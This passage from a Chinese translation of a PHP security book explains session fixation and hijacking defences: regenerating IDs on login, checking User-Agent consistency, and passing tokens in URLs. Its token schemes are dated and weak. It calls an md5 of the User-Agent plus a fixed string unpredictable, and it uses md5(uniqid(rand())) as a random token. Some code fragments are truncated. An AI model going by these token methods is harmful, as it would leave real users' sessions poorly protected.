这就保证了在会话初始化时能有一个全新的会话标识。可是，这并不是防止会话固定攻击的有效解决方案。攻击者能简单地通过访问你的网站，确定 PHP 给出的会话标识，并且在会话固定攻击中使用该会话标识。这确实使攻击者没有机会去指定一个简单的会话标识，如 1234，但攻击者依然可以通过检查 cookie 或 URL（依赖于标识的传递方式）得到 PHP 指定的会话标识。该流程如图 4-4 所示。

该图说明了会话的这个弱点，同时它可以帮助你理解该问题涉及的范围。会话固定只是一个基础，攻击的目的是要取得一个能用来劫持会话的标识。这通常用于这样的一个系统，在这个系统中，攻击者能合法取得较低的权限(该权限级别只要能登录即可)，这样劫持一个具有较高权限的会话是非常有用的。

如果会话标识在权限等级有改变时重新生成，就可以在事实上避开会话固定的风险：

```
$_SESSION['logged_in'] = FALSE;
if (check_login()){
session_regenerate_id();
$_SESSION['logged_in'] = TRUE;
}
?>
```

Figure 4-4. 通过首先初始化会话进行会话固定攻击

小提示

我不推荐在每一页上重新生成会话标识。虽然这看起来确实是一个安全的方法。但与在权限等级变化时重新生成会话标识相比，并没有提供更多的保护手段。更重要的是，相反地它还会对你的合法用户产生影响，特别是会话标识通过 URL 传递时尤甚。用户可能会使用浏览器的访问历史机制去访问以前访问的页面，这样该页上的链接就会指向一个不再存在的会话标识。

如果你只在权限等级变化时重新生成会话标识，同样的情况也有可以发生，但是用户在访问权限变更前的页面时，不会因为会话丢失而奇怪，同时，这种情况也不常见。

4.4. 会话劫持

最常见的针对会话的攻击手段是会话劫持。它是所有攻击者可以用来访问其它人的会话的手段的总称。所有这些手段的第一步都是取得一个合法的会话标识来伪装成合法用户，因此保证会话标识不被泄露非常重要。前面几节中关于会话暴露和固定的知识能帮助你保证会话标识只有服务器及合法用户才能知道。

深度防范原则（见第一章）可以用在会话上，当会话标识不幸被攻击者知道的情况下，一些不起眼的安全措施也会提供一些保护。作为一个关心安全的开发者，你的目标应该是使前述的伪装过程变得更复杂。记住无论多小的障碍，都会以你的应用提供保护。

把伪装过程变得更复杂的关键是加强验证。会话标识是验证的首要方法，同时你可以用其它数据来补充它。你可以用的所有数据只是在每个 HTTP 请求中的数据：

```
GET / HTTP/1.1Host: example.orgUser-Agent:
Firefox/1.0Accept: text/html, image/png,
image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234
```

你应该意识到请求的一致性，并把不一致的行为认为是可疑行为。例如，虽然 User-Agent(发出本请求的浏览器类型)头部是可选的，但是只要是发出该头部的浏览器通常都不会变化它的值。如果你一个拥有 1234 的会话标识的用户在登录后一直用 Mozilla Firfox 浏览器，突然转换成了 IE，这就比较可疑了。例如，此时你可以用要求输入密码方式来减轻风险，同时在误报时，这也对合法用户产生的冲击也比较小。你可以用下面的代码来检测 User-Agent 的一致性：

```
session_start();
if (isset($_SESSION['HTTP_USER_AGENT']))
{
if ($_SESSION['HTTP_USER_AGENT'] !=
md5($_SERVER['HTTP_USER_AGENT']))
{
/* Prompt for password */
exit;
}
}
```

```
else
{
$_SESSION['HTTP_USER_AGENT'] =
md5($_SERVER['HTTP_USER_AGENT']);
}
?>
```

我观察过，在某些版本的 IE 浏览器中，用户正常访问一个网页和刷新一个网页时发出的 Accept 头部信息不同，因此 Accept 头部不能用来判断一致性。

确保 User-Agent 头部信息一致的确是有效的，但如果会话标识通过 cookie 传递（推荐方式），有道理认为，如果攻击者能取得会话标识，他同时也能取得其它 HTTP 头部。由于 cookie 暴露与浏览器漏洞或跨站脚本漏洞相关，受害者需要访问攻击者的网站并暴露所有头部信息。所有攻击者要做的只是重建头部以防止任何对头部信息一致性的检查。

比较好的方法是产生在 URL 中传递一个标记，可以认为这是第二种验证的形式（虽然更弱）。使用这个方法需要进行一些编程工作，PHP 中没有相应的功能。例如，假设标记保存在$token 中，你需要把它包含在所有你的应用的内部链接中：

```
$url = array();
$html = array();
$url['token'] = rawurlencode($token);
$html['token'] = htmlentities($url['token'], ENT_QUOTES, 'UTF-8');
?>
```

Click Here 为了更方便地管理这个传递过程，你可能会把整个请求串放在一个变量中。你可以把这个变量附加到所有链接后面，这样即便你一开始没有使用该技巧，今后还是可以很方便地对你的代码作出变化。

该标记需要包含不可预测的内容，即便是在攻击者知道了受害者浏览器发出的 HTTP 头部的全部信息也不行。一种方法是生成一个随机串作为标记：

```
$string = $_SERVER['HTTP_USER_AGENT'];
$string .= 'SHIFLETT';
$token = md5($string);
$_SESSION['token'] = $token;
?>
```

当你使用随机串时（如 SHIFLETT），对它进行预测是不现实的。此时，捕获标记将比预测标记更为方便，通过在 URL 中传递标记和在 cookie 中传递会话标识，攻击时需要同时抓取它们二者。这样除非攻击者能够察看受害者发往你的应用所有的 HTTP 请求原始信息才可以，因为在这种情况下所有内容都暴露了。这种攻击方式实现起来非常困难（所以很罕见），要防止它需要使用 SSL。

有专家警告不要依赖于检查 User-Agent 的一致性。这是因为服务器群集中的 HTTP 代理服务器会对 User-Agent 进行编辑，而本群集中的多个代理服务器在编辑该值时可能会不一致。

如果你不希望依赖于检查 User-Agent 的一致性。你可以生成一个随机的标记：

```
$token = md5(uniqid(rand(), TRUE));
```

```
$_SESSION['token'] = $token;
?>
```

这一方法的安全性虽然是弱一些，但它更可靠。上面的两个方法都对防止会话劫持提供了强有力的手段。你需要做的是在安全性和可靠性之间作出平衡。